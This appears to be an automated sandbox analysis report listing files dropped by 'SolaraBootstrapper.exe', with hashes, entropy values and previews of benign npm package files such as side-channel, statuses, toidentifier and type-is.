Size (bytes):	98
Entropy (8bit):	4.340548044508631
Encrypted:	false
SSDEEP:	3:SWEIh22Fd4MKLFEq6cF2Wl8WyfE8ksEMcJg:SWdh3GMKvF2K1ys8pl4g
MD5:	80768A7B357B705EC6833447698D755C
SHA1:	C771655B1E41409551D4C6167DE600DFA97E9C57
SHA-256:	B8B53E5CE4F0A0BBE177414B83A2781A271F9338BD8C15A18B4EF6516F83B6BD
SHA-512:	9B5A639D3369C06DE652660A20CEF3346514C5766C896127525D04792358C98C9814AAAE18167BDAA3EF784F567B40DCE98FDA21086A185B7F232BFDB5C63AA9
Malicious:	false
Preview:	# side-channel.Store information about any JS value in a side channel. Uses WeakMap if available..

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\side-channel\index.d.ts

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	765
Entropy (8bit):	5.027409719720289
Encrypted:	false
SSDEEP:	12:vuFwme8aWvbuE3dEOJcOJpDUCt9DYKyUCtjYWyUCCYbUCtvpwlOgqP+hVUiNy:Wxe8bTOKpDUGeUEKUoUSWOg6Ky
MD5:	D4DCBD6AB3DE1FF05334780FBC4C4F8C
SHA1:	CF40E5291FCE3764D536153B98D92B855BE0B01F
SHA-256:	8E8E22035801206FDFFD363EBC6C3DA0D75B902D4E8C2DB5E7AB8F04AEC9F2E1
SHA-512:	1693B70B280FDBDD075CF39587950F3B112D62C4030C5FB852CF33712C563AA9F89B2073691B5ADD47372CAD279DDFA1616B12C08FA3710C7811DFCE34327715
Malicious:	false
Preview:	declare namespace getSideChannel {..type Key = unknown;..type ListNode<T> = {...key: Key;...next: ListNode<T>;...value: T;..};..type RootNode<T> = {...key: object;...next: null \| ListNode<T>;..};..function listGetNode<T>(list: RootNode<T>, key: ListNode<T>['key']): ListNode<T> \| void;..function listGet<T>(objects: RootNode<T>, key: ListNode<T>['key']): T \| void;..function listSet<T>(objects: RootNode<T>, key: ListNode<T>['key'], value: T): void;..function listHas<T>(objects: RootNode<T>, key: ListNode<T>['key']): boolean;...type Channel = {...assert: (key: Key) => void;...has: (key: Key) => boolean;...get: <T>(key: Key) => T;...set: <T>(key: Key, value: T) => void;..}.}..declare function getSideChannel(): getSideChannel.Channel;..export = getSideChannel;.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\side-channel\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3946
Entropy (8bit):	5.090414231943572
Encrypted:	false
SSDEEP:	96:q9cnMSBRDzhzZH9m3TpDntqTiApdJpgVkwf3F8rj9uaGMIdyYqv:q+nM8zhzZHU9DnoTiAp3
MD5:	AE7485EADF030BAC549BD7F2061C1369
SHA1:	D98AB57304F572C0627627DF3AC4164755021244
SHA-256:	5BBC044D84799159C43617A29F22AE6DC9437E58EE3D7A0ED247FC7236EBF863
SHA-512:	71ABB443869BB4D61B7A01F504262B44CFC70E9694AE661F9425C5BD22356EEE7AC0673FC0D270D8FF67F100794E49C99E10C87B765454568BD7E26C79712A50
Malicious:	false
Preview:	'use strict';..var GetIntrinsic = require('get-intrinsic');.var callBound = require('call-bind/callBound');.var inspect = require('object-inspect');..var $TypeError = require('es-errors/type');.var $WeakMap = GetIntrinsic('%WeakMap%', true);.var $Map = GetIntrinsic('%Map%', true);..var $weakMapGet = callBound('WeakMap.prototype.get', true);.var $weakMapSet = callBound('WeakMap.prototype.set', true);.var $weakMapHas = callBound('WeakMap.prototype.has', true);.var $mapGet = callBound('Map.prototype.get', true);.var $mapSet = callBound('Map.prototype.set', true);.var $mapHas = callBound('Map.prototype.has', true);../. This function traverses the list returning the node corresponding to the given key... That node is also moved to the head of the list, so that if it's accessed again we don't need to traverse the whole list. By doing so, all the recently used nodes can be accessed relatively quickly.././* @type {import('.').listGetNode} */.var listGetNode = function (list, key) { // es

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\side-channel\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2275
Entropy (8bit):	5.137595755834066
Encrypted:	false
SSDEEP:	48:0FEsBfi0ZRpcOl547ag4fzyRYsEg4ajjsdlcOVsQSowCL:fmBcO0yB3+NQZ
MD5:	9D06D3C21AE37A4600C5685BAAD644FA
SHA1:	062874AAC32D117772AE1AB996E7B84F72749F01
SHA-256:	954C73E75C5B7C07C858B08C73748D81D3599A481CA81758597552C1F89482E1
SHA-512:	3E9D6E0BE3FBDA37247A87A3DAF76619CAAB6F10518AB2CEEA0BF61FFB48A26753113E436D5AF777B42E906033BAF858795FA8DE4C129E75923C90F8C0533D2B
Malicious:	false
Preview:	{.."name": "side-channel",.."version": "1.0.6",.."description": "Store information about any JS value in a side channel. Uses WeakMap if available.",.."main": "index.js",.."exports": {..."./package.json": "./package.json",...".": "./index.js"..},.."types": "./index.d.ts",.."scripts": {..."prepack": "npmignore --auto --commentLines=autogenerated",..."prepublishOnly": "safe-publish-latest",..."prepublish": "not-in-publish \|\| npm run prepublishOnly",..."prelint": "eclint check $(git ls-files \| xargs find 2> /dev/null \| grep -vE 'node_modules\|\\.git')",..."lint": "eslint --ext=js,mjs .",..."postlint": "tsc -p .",..."pretest": "npm run lint",..."tests-only": "nyc tape 'test/*/.js'",..."test": "npm run tests-only",..."posttest": "aud --production",..."version": "auto-changelog && git add CHANGELOG.md",..."postversion": "auto-changelog && git add CHANGELOG.md && git commit --no-edit --amend && git tag -f \"v$(node -e \"console.log(require('./package.json').version)\")\""..},.."repository":

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\side-channel\test\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1959
Entropy (8bit):	4.858672772105557
Encrypted:	false
SSDEEP:	48:jGYJuJv05eTbZXwR3zYI32xe/wx/6NSEPlaT26UwW:KVR26GDYQ2AwVeSEtaT26Uf
MD5:	A92F4AA888D8A92C83E4F541BE478068
SHA1:	AB1399D89EB6D431DB6C17160A10A71FA3562EFA
SHA-256:	966BDD1F6EC740CF64049B8542A4B90996986C16FC837FD7F6DB5971DE7FFBCA
SHA-512:	C4DE86AF66E676A9AF0908FA0BBA93C36AE592E0C5AA762D409F2E779C740AB38D4C9B1F059CD1E3024C525299CA40AAC5AC447DB3394EE026CD7B34DDB84ED4
Malicious:	false
Preview:	'use strict';..var test = require('tape');..var getSideChannel = require('../');..test('export', function (t) {..t.equal(typeof getSideChannel, 'function', 'is a function');..t.equal(getSideChannel.length, 0, 'takes no arguments');...var channel = getSideChannel();..t.ok(channel, 'is truthy');..t.equal(typeof channel, 'object', 'is an object');...t.end();.});..test('assert', function (t) {..var channel = getSideChannel();..t['throws'](...function () { channel.assert({}); },...TypeError,...'nonexistent value throws'..);...var o = {};..channel.set(o, 'data');..t.doesNotThrow(function () { channel.assert(o); }, 'existent value noops');...t.end();.});..test('has', function (t) {..var channel = getSideChannel();../** @type {unknown[]} */ var o = [];...t.equal(channel.has(o), false, 'nonexistent value yields false');...channel.set(o, 'foo');..t.equal(channel.has(o), true, 'existent value yields true');...t.equal(channel.has('abc'), false, 'non object value non existent yields false');...chan

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\side-channel\tsconfig.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3195
Entropy (8bit):	4.736326326543835
Encrypted:	false
SSDEEP:	48:cj+2nTY8LdkWoltx4I8OjMGqoqZjuJGJkeGzJfYMT2s+Tmz:I+WWtx4ITjDqoql+Ok3AMqs+Tmz
MD5:	D8A043C42FC4D89057F4DD4BE72C3EA9
SHA1:	47D00B1A54AFD2080104036E09A565C8F9F670DF
SHA-256:	55D3CA9EE2A017D8D9A969C47FD7623B4619CDD29010B5CDECBF7C88B42D23A7
SHA-512:	C9966A66202E6F816AE76A855B0E116E2E1C09C2D81BD42D940B3464467E526DE85AD0F2DB320DBB5FDEDA6793B750E2D445F7510C743031FB3BF13D94441B42
Malicious:	false
Preview:	{.."compilerOptions": {.../* Visit https://aka.ms/tsconfig.json to read more about this file /..../ Projects /..../ Language and Environment /..."target": "es2022",................./ Set the JavaScript language version for emitted JavaScript and include compatible library declarations. /...// "lib": [],..................../ Specify a set of bundled library declaration files that describe the target runtime environment. /...// "noLib": true,................../ Disable including any library files, including the default lib.d.ts. /..."useDefineForClassFields": true,.......... / Emit ECMAScript-standard-compliant class fields. /...// "moduleDetection": "auto",............/ Control what method is used to detect module-format JS files. /..../ Modules /..."module": "commonjs",................/ Specify what module code is generated. /...// "rootDir": "./",................./ Specify the root folder within your source files. /...// "moduleResolution": "node",........... / S

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\statuses\HISTORY.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1546
Entropy (8bit):	4.820897399885229
Encrypted:	false
SSDEEP:	24:D8OZyFWGzWEoDJpzLxiceIpYKDnWHgrAtZaxSodAd4ZQ2CSaG1U:QgHD1iapYKu1OjdA1SagU
MD5:	8AF2A0A8CAAD8A309A0947248658F3C5
SHA1:	31B35B6101BAD5827C9F686DFB021C884736684A
SHA-256:	41762CE40AAE520BBD476B81288EC5FB717BA11DA9409DBE74F782AA5F71D04D
SHA-512:	7AF380BED9615120F69EF5B1B77EC3B2FD287BA24BD2EE74F64CA5F715835C6F693165570DA75529FFAB82750D7115DF9B84E10D7FD959063A974B6DD9193D0D
Malicious:	false
Preview:	2.0.1 / 2021-01-03.==================.. * Fix returning values from `Object.prototype`..2.0.0 / 2020-04-19.==================.. * Drop support for Node.js 0.6. * Fix messaging casing of `418 I'm a Teapot`. * Remove code 306. * Remove `status[code]` exports; use `status.message[code]`. * Remove `status[msg]` exports; use `status.code[msg]`. * Rename `425 Unordered Collection` to standard `425 Too Early`. * Rename `STATUS_CODES` export to `message`. * Return status message for `statuses(code)` when given code..1.5.0 / 2018-03-27.==================.. * Add `103 Early Hints`..1.4.0 / 2017-10-20.==================.. * Add `STATUS_CODES` export..1.3.1 / 2016-11-11.==================.. * Fix return type in JSDoc..1.3.0 / 2016-05-17.==================.. * Add `421 Misdirected Request`. * perf: enable strict mode..1.2.1 / 2015-02-01.==================.. * Fix message for status 451. - `451 Unavailable For Legal Reasons`..1.2.0 / 2014-09-28.==================.. * Add `208 Alre

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\statuses\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1172
Entropy (8bit):	5.173454209157481
Encrypted:	false
SSDEEP:	24:8FMpfrmJHHH0yN3gtsHw1hj9QHOsUv4eOk4/+/m3oqLF5n:8FMpfaJHlxE35QHOs5exm3ogF5n
MD5:	36E2BC837CE69A98CC33A9E140D457E5
SHA1:	4D50453741267C3B931C605E9316DABBFA641117
SHA-256:	512CFA4D5E7A7569C7AE4DD95241CB6AE2AAF648EF9EBD080C01BD24868D26E9
SHA-512:	5CC6A4D89A5DCB1A9DE765BC74B766CB8BB80718A7A89AEDBDC3F7B981FDC2FFAB7382EEB3F1CA15AF88ADAD3232C79C43094AD15B21DDBE87243C1643AE0641
Malicious:	false
Preview:	.The MIT License (MIT)..Copyright (c) 2014 Jonathan Ong <me@jongleberry.com>.Copyright (c) 2016 Douglas Christopher Wilson <doug@somethingdoug.com>..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\statuses\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	3559
Entropy (8bit):	5.04694498515446
Encrypted:	false
SSDEEP:	48:EdC9vR/vnNdXMoNj5W/BzQjXjHI5ptZF/4/I8pYTX3eWczlKJn+CBzA19:ACLvN15QzmI5CjYyBKJ+j
MD5:	EEE769AE22B8D78E06C654220B9D4A30
SHA1:	B8F4EE6EE29D4757C5156003190D9FAAB8D1D46D
SHA-256:	CFED51FFE74E16E4D6945854D440366E0CA9F349D84807ED5AD0BDDDE2F006F4
SHA-512:	EA1B560066D660473CE05DAA94BA66F38329D81D443F23A1D98FB6366AC0F11B351FA08F848B1AB2A678EBC34322D2FFCC918E44AC861755E2437B5EE3570D6F
Malicious:	false
Preview:	# statuses..[![NPM Version][npm-version-image]][npm-url].[![NPM Downloads][npm-downloads-image]][npm-url].[![Node.js Version][node-version-image]][node-version-url].[![Build Status][ci-image]][ci-url].[![Test Coverage][coveralls-image]][coveralls-url]..HTTP status utility for node...This module provides a list of status codes and messages sourced from.a few different projects:.. * The [IANA Status Code Registry](https://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml). * The [Node.js project](https://nodejs.org/). * The [NGINX project](https://www.nginx.com/). * The [Apache HTTP Server project](https://httpd.apache.org/)..## Installation..This is a [Node.js](https://nodejs.org/en/) module available through the.[npm registry](https://www.npmjs.com/). Installation is done using the.[`npm install` command](https://docs.npmjs.com/getting-started/installing-npm-packages-locally):..```sh.$ npm install statuses.```..## API.. eslint-disable no-unused-vars -->..```js.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\statuses\codes.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1789
Entropy (8bit):	4.814481084626097
Encrypted:	false
SSDEEP:	48:jsaTUBfhUefZVD/4Cisf6p3+pf1n3pbNC:gWUBfJfww6p3+1y
MD5:	8FE432AAB55E65B4ED24A6753D5E53CA
SHA1:	895FEAB83D6F7AAB850842B5332B2F2AA7F2A344
SHA-256:	D2DAA083F11600277BD2BF9823BB48EDE916A5B0924D2991D6BC4CE331D5604B
SHA-512:	B36C6E6952262DF585557B08A01292AED3AC474634C949DA8457CF99D70B210604C75E11AEC5BEF850B20F0783E6C128D5F4513F4F92C71791752C6011C4A2D2
Malicious:	false
Preview:	{. "100": "Continue",. "101": "Switching Protocols",. "102": "Processing",. "103": "Early Hints",. "200": "OK",. "201": "Created",. "202": "Accepted",. "203": "Non-Authoritative Information",. "204": "No Content",. "205": "Reset Content",. "206": "Partial Content",. "207": "Multi-Status",. "208": "Already Reported",. "226": "IM Used",. "300": "Multiple Choices",. "301": "Moved Permanently",. "302": "Found",. "303": "See Other",. "304": "Not Modified",. "305": "Use Proxy",. "307": "Temporary Redirect",. "308": "Permanent Redirect",. "400": "Bad Request",. "401": "Unauthorized",. "402": "Payment Required",. "403": "Forbidden",. "404": "Not Found",. "405": "Method Not Allowed",. "406": "Not Acceptable",. "407": "Proxy Authentication Required",. "408": "Request Timeout",. "409": "Conflict",. "410": "Gone",. "411": "Length Required",. "412": "Precondition Failed",. "413": "Payload Too Large",. "414": "URI Too Long",. "415": "Unsupported Media Type",. "

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\statuses\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2610
Entropy (8bit):	4.799283166041097
Encrypted:	false
SSDEEP:	48:GXuRdjBVX/YHIBzNmqHmeDiZ/oL6T7od3jNiRAYq1iYq+QTXSM:2ajH/od26mjwAQT+yXSM
MD5:	7C5205330288C271E7582C282E40D21A
SHA1:	D9C8B2F32DED4AFCF305665C3369E59718A699E6
SHA-256:	96A0698E899F5889CF254D1F2E351F3253A37921C7F87269B0E87A497DEC666A
SHA-512:	688EB30F0D28F165415A1888283B473C403D23BA09AAD1C4FEF9480D7009A3352648C4C2B7AA2AADA6FA08423CE181E98157AAC7825A290F74434EA8448F1F5B
Malicious:	false
Preview:	/!. statuses. * Copyright(c) 2014 Jonathan Ong. * Copyright(c) 2016 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module dependencies.. * @private. /..var codes = require('./codes.json')../. Module exports.. * @public. /..module.exports = status..// status code to message map.status.message = codes..// status message (lower-case) to code map.status.code = createMessageToStatusCodeMap(codes)..// array of status codes.status.codes = createStatusCodeList(codes)..// status codes for redirects.status.redirect = {. 300: true,. 301: true,. 302: true,. 303: true,. 305: true,. 307: true,. 308: true.}..// status codes for empty bodies.status.empty = {. 204: true,. 205: true,. 304: true.}..// status codes for when you should retry the request.status.retry = {. 502: true,. 503: true,. 504: true.}../. Create a map of message to status code.. * @private. */..function createMessageToStatusCodeMap (codes) {. var map = {}.. Object.keys(codes).forEach(f

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\statuses\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1440
Entropy (8bit):	4.832311815218477
Encrypted:	false
SSDEEP:	24:ngVI1GbxVWbeKpadVQquQCFPIZBlWJVgn0AqpcMcswc/boO7xLAwgEq105P6u:ngaGdVWbeKpajQquQCFPITUJCBKRoO73
MD5:	210CDA9D522BAB0911DFF42346DEE4BE
SHA1:	3328D9BFC82E4F981A1ACD2F3F78C524BF85333C
SHA-256:	53BD1B14E481356BF004C0A45F9022D07FBC56BFE849115E141BA302C8818275
SHA-512:	8BAF4A077586EFC571B3B32C64DFDE8A2A0AEB4ECEA91E016FF96E40051C0DE4E6C09CDB8C0711A2731A77120D9ACEAC0BF2077D0E14E28853FEF90D512AB620
Malicious:	false
Preview:	{. "name": "statuses",. "description": "HTTP status utility",. "version": "2.0.1",. "contributors": [. "Douglas Christopher Wilson <doug@somethingdoug.com>",. "Jonathan Ong <me@jongleberry.com> (http://jongleberry.com)". ],. "repository": "jshttp/statuses",. "license": "MIT",. "keywords": [. "http",. "status",. "code". ],. "files": [. "HISTORY.md",. "index.js",. "codes.json",. "LICENSE". ],. "devDependencies": {. "csv-parse": "4.14.2",. "eslint": "7.17.0",. "eslint-config-standard": "14.1.1",. "eslint-plugin-import": "2.22.1",. "eslint-plugin-markdown": "1.0.2",. "eslint-plugin-node": "11.1.0",. "eslint-plugin-promise": "4.2.1",. "eslint-plugin-standard": "4.1.0",. "mocha": "8.2.1",. "nyc": "15.1.0",. "raw-body": "2.4.1",. "stream-to-array": "2.3.0". },. "engines": {. "node": ">= 0.8". },. "scripts": {. "build": "node scripts/build.js",. "fetch": "node scripts/fetch-apache.js && node scripts/fetch-i

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\toidentifier\HISTORY.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	128
Entropy (8bit):	4.001704000816424
Encrypted:	false
SSDEEP:	3:SVfRUdSF9auv7L3mTolYnFhF4:SKSyuv/mTog2
MD5:	97E13024947E8F5344B81F81F299118B
SHA1:	8A71328D8FB1D0F995793F731F5BE462FD48D048
SHA-256:	4839C59F4E7364D7DB5746D3F63FB54C0E81AA8B2C7DBD20009438D1D0864CF0
SHA-512:	CC4CE0C27B5AD41D6376073802E417A5A3848286791ACC3B365A72D9AA92CA404EB30D4D5F92964643A6E2B0B58FC6DC5F7AF56CE4E7907F31F818BC2A46A513
Malicious:	false
Preview:	1.0.1 / 2021-11-14.==================.. * pref: enable strict mode..1.0.0 / 2018-07-09.==================.. * Initial release.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\toidentifier\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1108
Entropy (8bit):	5.123579025270232
Encrypted:	false
SSDEEP:	24:urmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:uaJHlxE3dQHOs5exm3ogFh
MD5:	1A261071A044D02EB6F2BB47F51A3502
SHA1:	3E2A9FED4450C1CB906E8E143AE9327C2542EE4D
SHA-256:	A832D679750E49AB433626AB196350B89964B60EB0D3EDD3341887C7D5F4C128
SHA-512:	AC92FC0235765E95A55F1415B04BD3A856867AC371F100CC06B579DB2761F06F22FE6F15A152705BE851D93F3556A7233931A23EFD6A48E1B82C17CFFBB5DF2E
Malicious:	false
Preview:	MIT License..Copyright (c) 2016 Douglas Christopher Wilson <doug@somethingdoug.com>..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHER

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\toidentifier\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1803
Entropy (8bit):	5.060708957620034
Encrypted:	false
SSDEEP:	48:IqXhIvI5xdXMoNjT16C24arMIRaVIEmVd:TXeQ5x15f16Q6JRaiEmX
MD5:	F4A4BDB58E15B4A187D4D51DEB32C8DD
SHA1:	4B9FD35B2A669B33D43D25423543AB2BD522C144
SHA-256:	BBC5B74840438EC9D0D189C10C013C3E0AD9E0ADD6F09CB16034B8F693D73FF8
SHA-512:	6913DACA56C988F00C2F5A436BDF14A40D9E3B3D94D82735398C646EEAADB56E525091EBA358745215BAA75E89920D88D09FA6D2D7018452F6FCC310D949DE29
Malicious:	false
Preview:	# toidentifier..[![NPM Version][npm-image]][npm-url].[![NPM Downloads][downloads-image]][downloads-url].[![Build Status][github-actions-ci-image]][github-actions-ci-url].[![Test Coverage][codecov-image]][codecov-url]..> Convert a string of words to a JavaScript identifier..## Install..This is a [Node.js](https://nodejs.org/en/) module available through the.[npm registry](https://www.npmjs.com/). Installation is done using the.[`npm install` command](https://docs.npmjs.com/getting-started/installing-npm-packages-locally):..```bash.$ npm install toidentifier.```..## Example..```js.var toIdentifier = require('toidentifier')..console.log(toIdentifier('Bad Request')).// => "BadRequest".```..## API..This CommonJS module exports a single default function: `toIdentifier`...### toIdentifier(string)..Given a string as the argument, it will be transformed according to.the following rules and the new string will be returned:..1. Split into words separated by space characters (`0x20`)..2. Upper cas

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\toidentifier\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	504
Entropy (8bit):	4.827349515069804
Encrypted:	false
SSDEEP:	12:Usp+YNwtlXZAtB5azEYpX5v2Rnm0cdr5rRcA:L+RpAtBczEwvqUzRcA
MD5:	B7A1B5C3F74FF7E0A11B61D56673AFA0
SHA1:	FC66E4445021B49B1F4386CA72CAD654DC408D34
SHA-256:	F9F26B0E90E2569B61D02EF2A92718624B8854592B1EDE7F2C8879A69CFDBA05
SHA-512:	96163678827F633CBEA608AF831F018DB8577EE22543D6DFD6550A176FE84B4B78550DFB5ECBFE60F1096438B3CE485FBCE86288EBDCE8B6D90484D7CDA079CE
Malicious:	false
Preview:	/!. toidentifier. * Copyright(c) 2016 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module exports.. * @public. /..module.exports = toIdentifier../. Trasform the given string into a JavaScript identifier. . @param {string} str. * @returns {string}. * @public. */..function toIdentifier (str) {. return str. .split(' '). .map(function (token) {. return token.slice(0, 1).toUpperCase() + token.slice(1). }). .join(''). .replace(/[^ _0-9a-z]/gi, '').}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\toidentifier\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1142
Entropy (8bit):	4.860927237671107
Encrypted:	false
SSDEEP:	24:NBCV1TxVzqH0YuNCeRIZCLlWi2poZKLl105P6u:7cVV9YuNCeRIQUloo703
MD5:	FD6E2543A1B015CC443C7A2DCC4E3668
SHA1:	E8FE1D02A381B71A33E41588AE26746D34FA4903
SHA-256:	F34C59F784D43DA6E633390D85D14CA60539B4676159444F313C62FCFC3B68DC
SHA-512:	C08DA7B7852C9B297A29F6FB5DCF51A67B513CAEC17474ACECBCF324C5615601FE99744BD49E90F0A21D8A5710ABD58E78B4A89D9CA0E4B0B1F29584BA54B57E
Malicious:	false
Preview:	{. "name": "toidentifier",. "description": "Convert a string of words to a JavaScript identifier",. "version": "1.0.1",. "author": "Douglas Christopher Wilson <doug@somethingdoug.com>",. "contributors": [. "Douglas Christopher Wilson <doug@somethingdoug.com>",. "Nick Baugh <niftylettuce@gmail.com> (http://niftylettuce.com/)". ],. "repository": "component/toidentifier",. "devDependencies": {. "eslint": "7.32.0",. "eslint-config-standard": "14.1.1",. "eslint-plugin-import": "2.25.3",. "eslint-plugin-markdown": "2.2.1",. "eslint-plugin-node": "11.1.0",. "eslint-plugin-promise": "4.3.1",. "eslint-plugin-standard": "4.1.0",. "mocha": "9.1.3",. "nyc": "15.1.0". },. "engines": {. "node": ">=0.6". },. "license": "MIT",. "files": [. "HISTORY.md",. "LICENSE",. "index.js". ],. "scripts": {. "lint": "eslint .",. "test": "mocha --reporter spec --bail --check-leaks test/",. "test-ci": "nyc --reporter=lcov --reporter=text npm test",

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\type-is\HISTORY.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5447
Entropy (8bit):	4.788280765441003
Encrypted:	false
SSDEEP:	48:oZntLPqJhX3LWD9H01NO+3B63fTuQ+OCWy90WiKDuINQo+lPxVJSzkWq4KL39f6/:atzIHB6fKuOP+xGb3K79fdq
MD5:	6025A974D281159ED5421301B58FD126
SHA1:	767D7F2B0484283242C6A9FF84EE4EF85E79403C
SHA-256:	B32B37E94681B90954E8E6D29CAEF74A6B864055292634C36FB58FB50A9BDDAE
SHA-512:	188514E22DBAB6F55FB65266513F736F918856D34DC2F6FC23FFEA57A83DEFDCF26140D1382AF70A1759E7382D587D376740C5D00FD7E7081246290CAF0E80CB
Malicious:	false
Preview:	1.6.18 / 2019-04-26.===================.. * Fix regression passing request object to `typeis.is`..1.6.17 / 2019-04-25.===================.. * deps: mime-types@~2.1.24. - Add Apple file extensions from IANA. - Add extension `.csl` to `application/vnd.citationstyles.style+xml`. - Add extension `.es` to `application/ecmascript`. - Add extension `.nq` to `application/n-quads`. - Add extension `.nt` to `application/n-triples`. - Add extension `.owl` to `application/rdf+xml`. - Add extensions `.siv` and `.sieve` to `application/sieve`. - Add extensions from IANA for `image/` types. - Add extensions from IANA for `model/` types. - Add extensions to HEIC image types. - Add new mime types. - Add `text/mdx` with extension `.mdx`. * perf: prevent internal `throw` on invalid type..1.6.16 / 2018-02-16.===================.. * deps: mime-types@~2.1.18. - Add `application/raml+yaml` with extension `.raml`. - Add `application/wasm` with extension `.wasm`.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\type-is\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1172
Entropy (8bit):	5.194993512942844
Encrypted:	false
SSDEEP:	24:vSiJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:vSiJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	0AFD201E48C7D095454EED4AC1184E40
SHA1:	6A4ED3B5E9CFF68AF7593DFCB8BE3C1CBEA837D0
SHA-256:	23D466B1B134B415B66FA50C6526B4CF3E7B9258554DA88D3ABB371721E7CE68
SHA-512:	EBC137C01C13DA9D90FD411729B10CB15E6B7EA3F31A6B9DD23D0A769AEFE61CBEA7368C36698B0D562E85DCA08EBCAA59996F9653295A1C79252CBA3DA3D3AD
Malicious:	false
